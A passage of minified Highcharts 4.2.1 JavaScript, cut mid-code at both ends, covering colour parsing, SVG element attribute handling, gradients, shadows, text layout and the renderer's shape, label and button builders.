ba=O.plotOptions,ea=ba.line;Fb();ia.prototype={parsers:[{regex:/rgba\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]?(?:\\.[0-9]+)?)\\s*\\)/,parse:function(a){return[F(a[1]),F(a[2]),F(a[3]),parseFloat(a[4],10)]}},{regex:/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/,parse:function(a){return[F(a[1],16),F(a[2],16),F(a[3],16),1]}},{regex:/rgb\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*\\)/,parse:function(a){return[F(a[1]),F(a[2]),F(a[3]),1]}}],\ninit:function(a){var b,c,d,e;if((this.input=a)&&a.stops)this.stops=Ha(a.stops,function(a){return new ia(a[1])});else for(d=this.parsers.length;d--&&!c;)e=this.parsers[d],(b=e.regex.exec(a))&&(c=e.parse(b));this.rgba=c||[]},get:function(a){var b=this.input,c=this.rgba,d;this.stops?(d=D(b),d.stops=[].concat(d.stops),o(this.stops,function(b,c){d.stops[c]=[d.stops[c][0],b.get(a)]})):d=c&&!isNaN(c[0])?a===\"rgb\"||!a&&c[3]===1?\"rgb(\"+c[0]+\",\"+c[1]+\",\"+c[2]+\")\":a===\"a\"?c[3]:\"rgba(\"+c.join(\",\")+\")\":b;return d},\nbrighten:function(a){var b,c=this.rgba;if(this.stops)o(this.stops,function(b){b.brighten(a)});else if(ka(a)&&a!==0)for(b=0;b<3;b++)c[b]+=F(a*255),c[b]<0&&(c[b]=0),c[b]>255&&(c[b]=255);return this},setOpacity:function(a){this.rgba[3]=a;return this}};Q.prototype={opacity:1,textProps:\"direction,fontSize,fontWeight,fontFamily,fontStyle,color,lineHeight,width,textDecoration,textOverflow,textShadow\".split(\",\"),init:function(a,b){this.element=b===\"span\"?$(b):z.createElementNS(Ea,b);this.renderer=a},animate:function(a,\nb,c){b=p(b,this.renderer.globalAnimation,!0);Pa(this);if(b){b=D(b,{});if(c)b.complete=c;Xa(this,a,b)}else this.attr(a,null,c);return this},colorGradient:function(a,b,c){var d=this.renderer,e,f,g,h,i,k,j,m,l,n,t,r=[],p;a.linearGradient?f=\"linearGradient\":a.radialGradient&&(f=\"radialGradient\");if(f){g=a[f];i=d.gradients;j=a.stops;n=c.radialReference;Ja(g)&&(a[f]=g={x1:g[0],y1:g[1],x2:g[2],y2:g[3],gradientUnits:\"userSpaceOnUse\"});f===\"radialGradient\"&&n&&!q(g.gradientUnits)&&(h=g,g=D(g,d.getRadialAttr(n,\nh),{gradientUnits:\"userSpaceOnUse\"}));for(t in g)t!==\"id\"&&r.push(t,g[t]);for(t in j)r.push(j[t]);r=r.join(\",\");i[r]?n=i[r].attr(\"id\"):(g.id=n=\"highcharts-\"+Ab++,i[r]=k=d.createElement(f).attr(g).add(d.defs),k.radAttr=h,k.stops=[],o(j,function(a){a[1].indexOf(\"rgba\")===0?(e=ia(a[1]),m=e.get(\"rgb\"),l=e.get(\"a\")):(m=a[1],l=1);a=d.createElement(\"stop\").attr({offset:a[0],\"stop-color\":m,\"stop-opacity\":l}).add(k);k.stops.push(a)}));p=\"url(\"+d.url+\"#\"+n+\")\";c.setAttribute(b,p);c.gradient=r;a.toString=function(){return p}}},\napplyTextShadow:function(a){var b=this.element,c,d=a.indexOf(\"contrast\")!==-1,e={},f=this.renderer.forExport,g=f||b.style.textShadow!==B&&!za;if(d)e.textShadow=a=a.replace(/contrast/g,this.renderer.getContrast(b.style.fill));if(nb||f)e.textRendering=\"geometricPrecision\";g?this.css(e):(this.fakeTS=!0,this.ySetter=this.xSetter,c=[].slice.call(b.getElementsByTagName(\"tspan\")),o(a.split(/\\s?,\\s?/g),function(a){var d=b.firstChild,e,f,a=a.split(\" \");e=a[a.length-1];(f=a[a.length-2])&&o(c,function(a,c){var g;\nc===0&&(a.setAttribute(\"x\",b.getAttribute(\"x\")),c=b.getAttribute(\"y\"),a.setAttribute(\"y\",c||0),c===null&&b.setAttribute(\"y\",0));g=a.cloneNode(1);L(g,{\"class\":\"highcharts-text-shadow\",fill:e,stroke:e,\"stroke-opacity\":1/s(F(f),3),\"stroke-width\":f,\"stroke-linejoin\":\"round\"});b.insertBefore(g,d)})}))},attr:function(a,b,c){var d,e=this.element,f,g=this,h;typeof a===\"string\"&&b!==B&&(d=a,a={},a[d]=b);if(typeof a===\"string\")g=(this[a+\"Getter\"]||this._defaultGetter).call(this,a,e);else{for(d in a){b=a[d];\nh=!1;this.symbolName&&/^(x|y|width|height|r|start|end|innerR|anchorX|anchorY)/.test(d)&&(f||(this.symbolAttr(a),f=!0),h=!0);if(this.rotation&&(d===\"x\"||d===\"y\"))this.doTransform=!0;h||(this[d+\"Setter\"]||this._defaultSetter).call(this,b,d,e);this.shadows&&/^(width|height|visibility|x|y|d|transform|cx|cy|r)$/.test(d)&&this.updateShadows(d,b)}if(this.doTransform)this.updateTransform(),this.doTransform=!1}c&&c();return g},updateShadows:function(a,b){for(var c=this.shadows,d=c.length;d--;)c[d].setAttribute(a,\na===\"height\"?Math.max(b-(c[d].cutHeight||0),0):a===\"d\"?this.d:b)},addClass:function(a){var b=this.element,c=L(b,\"class\")||\"\";c.indexOf(a)===-1&&L(b,\"class\",c+\" \"+a);return this},symbolAttr:function(a){var b=this;o(\"x,y,r,start,end,width,height,innerR,anchorX,anchorY\".split(\",\"),function(c){b[c]=p(a[c],b[c])});b.attr({d:b.renderer.symbols[b.symbolName](b.x,b.y,b.width,b.height,b)})},clip:function(a){return this.attr(\"clip-path\",a?\"url(\"+this.renderer.url+\"#\"+a.id+\")\":\"none\")},crisp:function(a){var b,\nc={},d,e=a.strokeWidth||this.strokeWidth||0;d=A(e)%2/2;a.x=S(a.x||this.x||0)+d;a.y=S(a.y||this.y||0)+d;a.width=S((a.width||this.width||0)-2*d);a.height=S((a.height||this.height||0)-2*d);a.strokeWidth=e;for(b in a)this[b]!==a[b]&&(this[b]=c[b]=a[b]);return c},css:function(a){var b=this.styles,c={},d=this.element,e,f,g=\"\";e=!b;if(a&&a.color)a.fill=a.color;if(b)for(f in a)a[f]!==b[f]&&(c[f]=a[f],e=!0);if(e){e=this.textWidth=a&&a.width&&d.nodeName.toLowerCase()===\"text\"&&F(a.width)||this.textWidth;b&&\n(a=v(b,c));this.styles=a;e&&(ha||!da&&this.renderer.forExport)&&delete a.width;if(za&&!da)M(this.element,a);else{b=function(a,b){return\"-\"+b.toLowerCase()};for(f in a)g+=f.replace(/([A-Z])/g,b)+\":\"+a[f]+\";\";L(d,\"style\",g)}e&&this.added&&this.renderer.buildText(this)}return this},on:function(a,b){var c=this,d=c.element;db&&a===\"click\"?(d.ontouchstart=function(a){c.touchEventFired=oa.now();a.preventDefault();b.call(d,a)},d.onclick=function(a){(Aa.indexOf(\"Android\")===-1||oa.now()-(c.touchEventFired||\n0)>1100)&&b.call(d,a)}):d[\"on\"+a]=b;return this},setRadialReference:function(a){var b=this.renderer.gradients[this.element.gradient];this.element.radialReference=a;b&&b.radAttr&&b.animate(this.renderer.getRadialAttr(a,b.radAttr));return this},translate:function(a,b){return this.attr({translateX:a,translateY:b})},invert:function(){this.inverted=!0;this.updateTransform();return this},updateTransform:function(){var a=this.translateX||0,b=this.translateY||0,c=this.scaleX,d=this.scaleY,e=this.inverted,\nf=this.rotation,g=this.element;e&&(a+=this.attr(\"width\"),b+=this.attr(\"height\"));a=[\"translate(\"+a+\",\"+b+\")\"];e?a.push(\"rotate(90) scale(-1,1)\"):f&&a.push(\"rotate(\"+f+\" \"+(g.getAttribute(\"x\")||0)+\" \"+(g.getAttribute(\"y\")||0)+\")\");(q(c)||q(d))&&a.push(\"scale(\"+p(c,1)+\" \"+p(d,1)+\")\");a.length&&g.setAttribute(\"transform\",a.join(\" \"))},toFront:function(){var a=this.element;a.parentNode.appendChild(a);return this},align:function(a,b,c){var d,e,f,g,h={};e=this.renderer;f=e.alignedObjects;if(a){if(this.alignOptions=\na,this.alignByTranslate=b,!c||ya(c))this.alignTo=d=c||\"renderer\",ma(f,this),f.push(this),c=null}else a=this.alignOptions,b=this.alignByTranslate,d=this.alignTo;c=p(c,e[d],e);d=a.align;e=a.verticalAlign;f=(c.x||0)+(a.x||0);g=(c.y||0)+(a.y||0);if(d===\"right\"||d===\"center\")f+=(c.width-(a.width||0))/{right:1,center:2}[d];h[b?\"translateX\":\"x\"]=A(f);if(e===\"bottom\"||e===\"middle\")g+=(c.height-(a.height||0))/({bottom:1,middle:2}[e]||1);h[b?\"translateY\":\"y\"]=A(g);this[this.placed?\"animate\":\"attr\"](h);this.placed=\n!0;this.alignAttr=h;return this},getBBox:function(a,b){var c,d=this.renderer,e,f,g,h=this.element,i=this.styles;e=this.textStr;var k,j=h.style,m,l=d.cache,n=d.cacheKeys,t;f=p(b,this.rotation);g=f*ga;e!==B&&(t=[\"\",f||0,i&&i.fontSize,h.style.width].join(\",\"),t=e===\"\"||Rb.test(e)?\"num:\"+e.toString().length+t:e+t);t&&!a&&(c=l[t]);if(!c){if(h.namespaceURI===Ea||d.forExport){try{m=this.fakeTS&&function(a){o(h.querySelectorAll(\".highcharts-text-shadow\"),function(b){b.style.display=a})},Na&&j.textShadow?\n(k=j.textShadow,j.textShadow=\"\"):m&&m(\"none\"),c=h.getBBox?v({},h.getBBox()):{width:h.offsetWidth,height:h.offsetHeight},k?j.textShadow=k:m&&m(\"\")}catch(r){}if(!c||c.width<0)c={width:0,height:0}}else c=this.htmlGetBBox();if(d.isSVG){d=c.width;e=c.height;if(za&&i&&i.fontSize===\"11px\"&&e.toPrecision(3)===\"16.9\")c.height=e=14;if(f)c.width=P(e*aa(g))+P(d*T(g)),c.height=P(e*T(g))+P(d*aa(g))}if(t){for(;n.length>250;)delete l[n.shift()];l[t]||n.push(t);l[t]=c}}return c},show:function(a){return this.attr({visibility:a?\n\"inherit\":\"visible\"})},hide:function(){return this.attr({visibility:\"hidden\"})},fadeOut:function(a){var b=this;b.animate({opacity:0},{duration:a||150,complete:function(){b.attr({y:-9999})}})},add:function(a){var b=this.renderer,c=this.element,d;if(a)this.parentGroup=a;this.parentInverted=a&&a.inverted;this.textStr!==void 0&&b.buildText(this);this.added=!0;if(!a||a.handleZ||this.zIndex)d=this.zIndexSetter();d||(a?a.element:b.box).appendChild(c);if(this.onAdd)this.onAdd();return this},safeRemoveChild:function(a){var b=\na.parentNode;b&&b.removeChild(a)},destroy:function(){var a=this,b=a.element||{},c=a.shadows,d=a.renderer.isSVG&&b.nodeName===\"SPAN\"&&a.parentGroup,e,f;b.onclick=b.onmouseout=b.onmouseover=b.onmousemove=b.point=null;Pa(a);if(a.clipPath)a.clipPath=a.clipPath.destroy();if(a.stops){for(f=0;f<a.stops.length;f++)a.stops[f]=a.stops[f].destroy();a.stops=null}a.safeRemoveChild(b);for(c&&o(c,function(b){a.safeRemoveChild(b)});d&&d.div&&d.div.childNodes.length===0;)b=d.parentGroup,a.safeRemoveChild(d.div),delete d.div,\nd=b;a.alignTo&&ma(a.renderer.alignedObjects,a);for(e in a)delete a[e];return null},shadow:function(a,b,c){var d=[],e,f,g=this.element,h,i,k,j;if(a){i=p(a.width,3);k=(a.opacity||0.15)/i;j=this.parentInverted?\"(-1,-1)\":\"(\"+p(a.offsetX,1)+\", \"+p(a.offsetY,1)+\")\";for(e=1;e<=i;e++){f=g.cloneNode(0);h=i*2+1-2*e;L(f,{isShadow:\"true\",stroke:a.color||\"black\",\"stroke-opacity\":k*e,\"stroke-width\":h,transform:\"translate\"+j,fill:\"none\"});if(c)L(f,\"height\",s(L(f,\"height\")-h,0)),f.cutHeight=h;b?b.element.appendChild(f):\ng.parentNode.insertBefore(f,g);d.push(f)}this.shadows=d}return this},xGetter:function(a){this.element.nodeName===\"circle\"&&(a={x:\"cx\",y:\"cy\"}[a]||a);return this._defaultGetter(a)},_defaultGetter:function(a){a=p(this[a],this.element?this.element.getAttribute(a):null,0);/^[\\-0-9\\.]+$/.test(a)&&(a=parseFloat(a));return a},dSetter:function(a,b,c){a&&a.join&&(a=a.join(\" \"));/(NaN| {2}|^$)/.test(a)&&(a=\"M 0 0\");c.setAttribute(b,a);this[b]=a},dashstyleSetter:function(a){var b;if(a=a&&a.toLowerCase()){a=\na.replace(\"shortdashdotdot\",\"3,1,1,1,1,1,\").replace(\"shortdashdot\",\"3,1,1,1\").replace(\"shortdot\",\"1,1,\").replace(\"shortdash\",\"3,1,\").replace(\"longdash\",\"8,3,\").replace(/dot/g,\"1,3,\").replace(\"dash\",\"4,3,\").replace(/,$/,\"\").split(\",\");for(b=a.length;b--;)a[b]=F(a[b])*this[\"stroke-width\"];a=a.join(\",\").replace(\"NaN\",\"none\");this.element.setAttribute(\"stroke-dasharray\",a)}},alignSetter:function(a){this.element.setAttribute(\"text-anchor\",{left:\"start\",center:\"middle\",right:\"end\"}[a])},opacitySetter:function(a,\nb,c){this[b]=a;c.setAttribute(b,a)},titleSetter:function(a){var b=this.element.getElementsByTagName(\"title\")[0];b||(b=z.createElementNS(Ea,\"title\"),this.element.appendChild(b));b.appendChild(z.createTextNode(String(p(a),\"\").replace(/<[^>]*>/g,\"\")))},textSetter:function(a){if(a!==this.textStr)delete this.bBox,this.textStr=a,this.added&&this.renderer.buildText(this)},fillSetter:function(a,b,c){typeof a===\"string\"?c.setAttribute(b,a):a&&this.colorGradient(a,b,c)},visibilitySetter:function(a,b,c){a===\n\"inherit\"?c.removeAttribute(b):c.setAttribute(b,a)},zIndexSetter:function(a,b){var c=this.renderer,d=this.parentGroup,c=(d||c).element||c.box,e,f,g=this.element,h;e=this.added;var i;q(a)&&(g.setAttribute(b,a),a=+a,this[b]===a&&(e=!1),this[b]=a);if(e){if((a=this.zIndex)&&d)d.handleZ=!0;d=c.childNodes;for(i=0;i<d.length&&!h;i++)if(e=d[i],f=L(e,\"zIndex\"),e!==g&&(F(f)>a||!q(a)&&q(f)))c.insertBefore(g,e),h=!0;h||c.appendChild(g)}return h},_defaultSetter:function(a,b,c){c.setAttribute(b,a)}};Q.prototype.yGetter=\nQ.prototype.xGetter;Q.prototype.translateXSetter=Q.prototype.translateYSetter=Q.prototype.rotationSetter=Q.prototype.verticalAlignSetter=Q.prototype.scaleXSetter=Q.prototype.scaleYSetter=function(a,b){this[b]=a;this.doTransform=!0};Q.prototype[\"stroke-widthSetter\"]=Q.prototype.strokeSetter=function(a,b,c){this[b]=a;if(this.stroke&&this[\"stroke-width\"])this.strokeWidth=this[\"stroke-width\"],Q.prototype.fillSetter.call(this,this.stroke,\"stroke\",c),c.setAttribute(\"stroke-width\",this[\"stroke-width\"]),\nthis.hasStroke=!0;else if(b===\"stroke-width\"&&a===0&&this.hasStroke)c.removeAttribute(\"stroke\"),this.hasStroke=!1};var Ba=function(){this.init.apply(this,arguments)};Ba.prototype={Element:Q,init:function(a,b,c,d,e,f){var g,d=this.createElement(\"svg\").attr({version:\"1.1\"}).css(this.getStyle(d));g=d.element;a.appendChild(g);a.innerHTML.indexOf(\"xmlns\")===-1&&L(g,\"xmlns\",Ea);this.isSVG=!0;this.box=g;this.boxWrapper=d;this.alignedObjects=[];this.url=(Na||nb)&&z.getElementsByTagName(\"base\").length?C.location.href.replace(/#.*?$/,\n\"\").replace(/([\\('\\)])/g,\"\\\\$1\").replace(/ /g,\"%20\"):\"\";this.createElement(\"desc\").add().element.appendChild(z.createTextNode(\"Created with Highcharts 4.2.1\"));this.defs=this.createElement(\"defs\").add();this.allowHTML=f;this.forExport=e;this.gradients={};this.cache={};this.cacheKeys=[];this.setSize(b,c,!1);var h;if(Na&&a.getBoundingClientRect)this.subPixelFix=b=function(){M(a,{left:0,top:0});h=a.getBoundingClientRect();M(a,{left:ua(h.left)-h.left+\"px\",top:ua(h.top)-h.top+\"px\"})},b(),N(C,\"resize\",\nb)},getStyle:function(a){return this.style=v({fontFamily:'\"Lucida Grande\", \"Lucida Sans Unicode\", Arial, Helvetica, sans-serif',fontSize:\"12px\"},a)},isHidden:function(){return!this.boxWrapper.getBBox().width},destroy:function(){var a=this.defs;this.box=null;this.boxWrapper=this.boxWrapper.destroy();Ta(this.gradients||{});this.gradients=null;if(a)this.defs=a.destroy();this.subPixelFix&&U(C,\"resize\",this.subPixelFix);return this.alignedObjects=null},createElement:function(a){var b=new this.Element;\nb.init(this,a);return b},draw:function(){},getRadialAttr:function(a,b){return{cx:a[0]-a[2]/2+b.cx*a[2],cy:a[1]-a[2]/2+b.cy*a[2],r:b.r*a[2]}},buildText:function(a){for(var b=a.element,c=this,d=c.forExport,e=p(a.textStr,\"\").toString(),f=e.indexOf(\"<\")!==-1,g=b.childNodes,h,i,k=L(b,\"x\"),j=a.styles,m=a.textWidth,l=j&&j.lineHeight,n=j&&j.textShadow,t=j&&j.textOverflow===\"ellipsis\",r=g.length,X=m&&!a.added&&this.box,y=function(a){return l?F(l):c.fontMetrics(/(px|em)$/.test(a&&a.style.fontSize)?a.style.fontSize:\nj&&j.fontSize||c.style.fontSize||12,a).h},x=function(a){return a.replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\")};r--;)b.removeChild(g[r]);!f&&!n&&!t&&e.indexOf(\" \")===-1?b.appendChild(z.createTextNode(x(e))):(h=/<.*style=\"([^\"]+)\".*>/,i=/<.*href=\"(http[^\"]+)\".*>/,X&&X.appendChild(b),e=f?e.replace(/<(b|strong)>/g,'<span style=\"font-weight:bold\">').replace(/<(i|em)>/g,'<span style=\"font-style:italic\">').replace(/<a/g,\"<span\").replace(/<\\/(b|strong|i|em|a)>/g,\"</span>\").split(/<br.*?>/g):[e],e[e.length-1]===\n\"\"&&e.pop(),o(e,function(e,f){var g,l=0,e=e.replace(/<span/g,\"|||<span\").replace(/<\\/span>/g,\"</span>|||\");g=e.split(\"|||\");o(g,function(e){if(e!==\"\"||g.length===1){var n={},r=z.createElementNS(Ea,\"tspan\"),p;h.test(e)&&(p=e.match(h)[1].replace(/(;| |^)color([ :])/,\"$1fill$2\"),L(r,\"style\",p));i.test(e)&&!d&&(L(r,\"onclick\",'location.href=\"'+e.match(i)[1]+'\"'),M(r,{cursor:\"pointer\"}));e=x(e.replace(/<(.|\\n)*?>/g,\"\")||\" \");if(e!==\" \"){r.appendChild(z.createTextNode(e));if(l)n.dx=0;else if(f&&k!==null)n.x=\nk;L(r,n);b.appendChild(r);!l&&f&&(!da&&d&&M(r,{display:\"block\"}),L(r,\"dy\",y(r)));if(m){for(var n=e.replace(/([^\\^])-/g,\"$1- \").split(\" \"),X=g.length>1||f||n.length>1&&j.whiteSpace!==\"nowrap\",o,w,q,s=[],v=y(r),B=1,A=a.rotation,u=e,D=u.length;(X||t)&&(n.length||s.length);)a.rotation=0,o=a.getBBox(!0),q=o.width,!da&&c.forExport&&(q=c.measureSpanWidth(r.firstChild.data,a.styles)),o=q>m,w===void 0&&(w=o),t&&w?(D/=2,u===\"\"||!o&&D<0.5?n=[]:(o&&(w=!0),u=e.substring(0,u.length+(o?-1:1)*ua(D)),n=[u+(m>3?\"\\u2026\":\n\"\")],r.removeChild(r.firstChild))):!o||n.length===1?(n=s,s=[],n.length&&(B++,r=z.createElementNS(Ea,\"tspan\"),L(r,{dy:v,x:k}),p&&L(r,\"style\",p),b.appendChild(r)),q>m&&(m=q)):(r.removeChild(r.firstChild),s.unshift(n.pop())),n.length&&r.appendChild(z.createTextNode(n.join(\" \").replace(/- /g,\"-\")));w&&a.attr(\"title\",a.textStr);a.rotation=A}l++}}})}),X&&X.removeChild(b),n&&a.applyTextShadow&&a.applyTextShadow(n))},getContrast:function(a){a=ia(a).rgba;return a[0]+a[1]+a[2]>384?\"#000000\":\"#FFFFFF\"},button:function(a,\nb,c,d,e,f,g,h,i){var k=this.label(a,b,c,i,null,null,null,null,\"button\"),j=0,m,l,n,t,r,p,a={x1:0,y1:0,x2:0,y2:1},e=D({\"stroke-width\":1,stroke:\"#CCCCCC\",fill:{linearGradient:a,stops:[[0,\"#FEFEFE\"],[1,\"#F6F6F6\"]]},r:2,padding:5,style:{color:\"black\"}},e);n=e.style;delete e.style;f=D(e,{stroke:\"#68A\",fill:{linearGradient:a,stops:[[0,\"#FFF\"],[1,\"#ACF\"]]}},f);t=f.style;delete f.style;g=D(e,{stroke:\"#68A\",fill:{linearGradient:a,stops:[[0,\"#9BD\"],[1,\"#CDF\"]]}},g);r=g.style;delete g.style;h=D(e,{style:{color:\"#CCC\"}},\nh);p=h.style;delete h.style;N(k.element,za?\"mouseover\":\"mouseenter\",function(){j!==3&&k.attr(f).css(t)});N(k.element,za?\"mouseout\":\"mouseleave\",function(){j!==3&&(m=[e,f,g][j],l=[n,t,r][j],k.attr(m).css(l))});k.setState=function(a){(k.state=j=a)?a===2?k.attr(g).css(r):a===3&&k.attr(h).css(p):k.attr(e).css(n)};return k.on(\"click\",function(a){j!==3&&d.call(k,a)}).attr(e).css(v({cursor:\"default\"},n))},crispLine:function(a,b){a[1]===a[4]&&(a[1]=a[4]=A(a[1])-b%2/2);a[2]===a[5]&&(a[2]=a[5]=A(a[2])+b%2/\n2);return a},path:function(a){var b={fill:\"none\"};Ja(a)?b.d=a:Z(a)&&v(b,a);return this.createElement(\"path\").attr(b)},circle:function(a,b,c){a=Z(a)?a:{x:a,y:b,r:c};b=this.createElement(\"circle\");b.xSetter=function(a){this.element.setAttribute(\"cx\",a)};b.ySetter=function(a){this.element.setAttribute(\"cy\",a)};return b.attr(a)},arc:function(a,b,c,d,e,f){if(Z(a))b=a.y,c=a.r,d=a.innerR,e=a.start,f=a.end,a=a.x;a=this.symbol(\"arc\",a||0,b||0,c||0,c||0,{innerR:d||0,start:e||0,end:f||0});a.r=c;return a},rect:function(a,\nb,c,d,e,f){var e=Z(a)?a.r:e,g=this.createElement(\"rect\"),a=Z(a)?a:a===B?{}:{x:a,y:b,width:s(c,0),height:s(d,0)};if(f!==B)a.strokeWidth=f,a=g.crisp(a);if(e)a.r=e;g.rSetter=function(a){L(this.element,{rx:a,ry:a})};return g.attr(a)},setSize:function(a,b,c){var d=this.alignedObjects,e=d.length;this.width=a;this.height=b;for(this.boxWrapper[p(c,!0)?\"animate\":\"attr\"]({width:a,height:b});e--;)d[e].align()},g:function(a){var b=this.createElement(\"g\");return q(a)?b.attr({\"class\":\"highcharts-\"+a}):b},image:function(a,\nb,c,d,e){var f={preserveAspectRatio:\"none\"};arguments.length>1&&v(f,{x:b,y:c,width:d,height:e});f=this.createElement(\"image\").attr(f);f.element.setAttributeNS?f.element.setAttributeNS(\"http://www.w3.org/1999/xlink\",\"href\",a):f.element.setAttribute(\"hc-svg-href\",a);return f},symbol:function(a,b,c,d,e,f){var g,h=this.symbols[a],h=h&&h(A(b),A(c),d,e,f),i=/^url\\((.*?)\\)$/,k,j;if(h)g=this.path(h),v(g,{symbolName:a,x:b,y:c,width:d,height:e}),f&&v(g,f);else if(i.test(a))j=function(a,b){a.element&&(a.attr({width:b[0],\nheight:b[1]}),a.alignByTranslate||a.translate(A((d-b[0])/2),A((e-b[1])/2)))},k=a.match(i)[1],a=Nb[k]||f&&f.width&&f.height&&[f.width,f.height],g=this.image(k).attr({x:b,y:c}),g.isImg=!0,a?j(g,a):(g.attr({width:0,height:0}),$(\"img\",{onload:function(){this.width===0&&(M(this,{position:\"absolute\",top:\"-999em\"}),z.body.appendChild(this));j(g,Nb[k]=[this.width,this.height]);this.parentNode&&this.parentNode.removeChild(this)},src:k}));return g},symbols:{circle:function(a,b,c,d){var e=0.166*c;return[\"M\",\na+c/2,b,\"C\",a+c+e,b,a+c+e,b+d,a+c/2,b+d,\"C\",a-e,b+d,a-e,b,a+c/2,b,\"Z\"]},square:function(a,b,c,d){return[\"M\",a,b,\"L\",a+c,b,a+c,b+d,a,b+d,\"Z\"]},triangle:function(a,b,c,d){return[\"M\",a+c/2,b,\"L\",a+c,b+d,a,b+d,\"Z\"]},\"triangle-down\":function(a,b,c,d){return[\"M\",a,b,\"L\",a+c,b,a+c/2,b+d,\"Z\"]},diamond:function(a,b,c,d){return[\"M\",a+c/2,b,\"L\",a+c,b+d/2,a+c/2,b+d,a,b+d/2,\"Z\"]},arc:function(a,b,c,d,e){var f=e.start,c=e.r||c||d,g=e.end-0.001,d=e.innerR,h=e.open,i=T(f),k=aa(f),j=T(g),g=aa(g),e=e.end-f<pa?0:1;\nreturn[\"M\",a+c*i,b+c*k,\"A\",c,c,0,e,1,a+c*j,b+c*g,h?\"M\":\"L\",a+d*j,b+d*g,\"A\",d,d,0,e,0,a+d*i,b+d*k,h?\"\":\"Z\"]},callout:function(a,b,c,d,e){var f=E(e&&e.r||0,c,d),g=f+6,h=e&&e.anchorX,e=e&&e.anchorY,i;i=[\"M\",a+f,b,\"L\",a+c-f,b,\"C\",a+c,b,a+c,b,a+c,b+f,\"L\",a+c,b+d-f,\"C\",a+c,b+d,a+c,b+d,a+c-f,b+d,\"L\",a+f,b+d,\"C\",a,b+d,a,b+d,a,b+d-f,\"L\",a,b+f,\"C\",a,b,a,b,a+f,b];h&&h>c&&e>b+g&&e<b+d-g?i.splice(13,3,\"L\",a+c,e-6,a+c+6,e,a+c,e+6,a+c,b+d-f):h&&h<0&&e>b+g&&e<b+d-g?i.splice(33,3,\"L\",a,e+6,a-6,e,a,e-6,a,b+f):e&&e>\nd&&h>a+g&&h<a+c-g?i.splice(23,3,\"L\",h+6,b+d,h,b+d+6,h-6,b+d,a+f,b+d):e&&e<0&&h>a+g&&h<a+c-g&&i.splice(3,3,\"L\",h-6,b,h,b-6,h+6,b,c-f,b);return i}},clipRect:function(a,b,c,d){var e=\"highcharts-\"+Ab++,f=this.createElement(\"clipPath\").attr({id:e}).add(this.defs),a=this.rect(a,b,c,d,0).add(f);a.id=e;a.clipPath=f;a.count=0;return a},text:function(a,b,c,d){var e=ha||!da&&this.forExport,f={};if(d&&(this.allowHTML||!this.forExport))return this.html(a,b,c);f.x=Math.round(b||0);if(c)f.y=Math.round(c);if(a||\na===0)f.text=a;a=this.createElement(\"text\").attr(f);e&&a.css({position:\"absolute\"});if(!d)a.xSetter=function(a,b,c){var d=c.getElementsByTagName(\"tspan\"),e,f=c.getAttribute(b),l;for(l=0;l<d.length;l++)e=d[l],e.getAttribute(b)===f&&e.setAttribute(b,a);c.setAttribute(b,a)};return a},fontMetrics:function(a,b){var c,d,a=a||this.style.fontSize;!a&&b&&C.getComputedStyle&&(b=b.element||b,a=(c=C.getComputedStyle(b,\"\"))&&c.fontSize);a=/px/.test(a)?F(a):/em/.test(a)?parseFloat(a)*12:12;c=a<24?a+3:A(a*1.2);\nd=A(c*0.8);return{h:c,b:d,f:a}},rotCorr:function(a,b,c){var d=a;b&&c&&(d=s(d*T(b*ga),4));return{x:-a/3*aa(b*ga),y:d}},label:function(a,b,c,d,e,f,g,h,i){var k=this,j=k.g(i),m=k.text(\"\",0,0,g).attr({zIndex:1}),l,n,t=0,r=3,p=0,y,x,w,s,ca=0,gb={},u,z,J,E,C;J=function(){var a,b;a=m.element.style;n=(y===void 0||x===void 0||j.styles.textAlign)&&q(m.textStr)&&m.getBBox();j.width=(y||n.width||0)+2*r+p;j.height=(x||n.height||0)+2*r;u=r+k.fontMetrics(a&&a.fontSize,m).b;if(z){if(!l)a=ca,b=(h?-u:0)+ca,j.box=l=\nd?k.symbol(d,a,b,j.width,j.height,gb):k.rect(a,b,j.width,j.height,0,gb[\"stroke-width\"]),l.isImg||l.attr(\"fill\",\"none\"),l.add(j);l.isImg||l.attr(v({width:A(j.width),height:A(j.height)},gb));gb=null}};E=function(){var a=j.styles,a=a&&a.textAlign,b=p+r,c;c=h?0:u;if(q(y)&&n&&(a===\"center\"||a===\"right\"))b+={center:0.5,right:1}[a]*(y-n.width);if(b!==m.x||c!==m.y)m.attr(\"x\",b),c!==B&&m.attr(\"y\",c);m.x=b;m.y=c};C=function(a,b){l?l.attr(a,b):gb[a]=b};j.onAdd=function(){m.add(j);j.attr({text:a||a===0?a:\"\",\nx:b,y:c});l&&q(e)&&j.attr({anchorX:e,anchorY:f})};j.widthSetter=function(a){y=a};j.heightSetter=function(a){x=a};j.paddingSetter=function(a){if(q(a)&&a!==r)r=j.padding=a,E()};j.paddingLeftSetter=function(a){q(a)&&a!==p&&(p=a,E())};j.alignSetter=function(a){a={left:0,center:0.5,right:1}[a];a!==t&&(t=a,n&&j.attr({x:b}))};j.textSetter=function(a){a!==B&&m.textSetter(a);J();E()};j[\"stroke-widthSetter\"]=function(a,b){a&&(z=!0);ca=a%2/2;C(b,a)};j.strokeSetter=j.fillSetter=j.rSetter=function(a,b){b===\"fill\"&&\na&&(z=!0);C(b,a)};j.anchorXSetter=function(a,b){e=a;C(b,A(a)-ca-w)};j.anchorYSetter=function(a,b){f=a;C(b,a-s)};j.xSetter=function(a){j.x=a;t&&(a-=t*((y||n.width)+2*r));w=A(a);j.attr(\"translateX\",w)};j.ySetter=function(a){s=j.y=A(a);j.attr(\"translateY\",s)};var F=j.css;return v(j,{css:function(a){if(a){var b={},a=D(a);o(j.textProps,function(c){a[c]!==B&&(b[c]=a[c],delete a[c])});m.css(b)}return F.call(j,a)},getBBox:function(){return{width:n.width+2*r,height:n.height+2*r,x:n.x-r,y:n.y-r}},shadow:function(a){l&&\nl.shadow(a);return j},destroy:function(){U(j.element,\"mouseenter\");U(j.element,\"mouseleave\");m&&(m=m.destroy());l&&(l=l.destroy());Q.prototype.destroy.call(j);j=k=J=E=C=null}})}};cb=Ba;v(Q.prototype,{htmlCss:function(a){var b=this.element;if(b=a&&b.tagName===\"SPAN\"&&a.width)delete 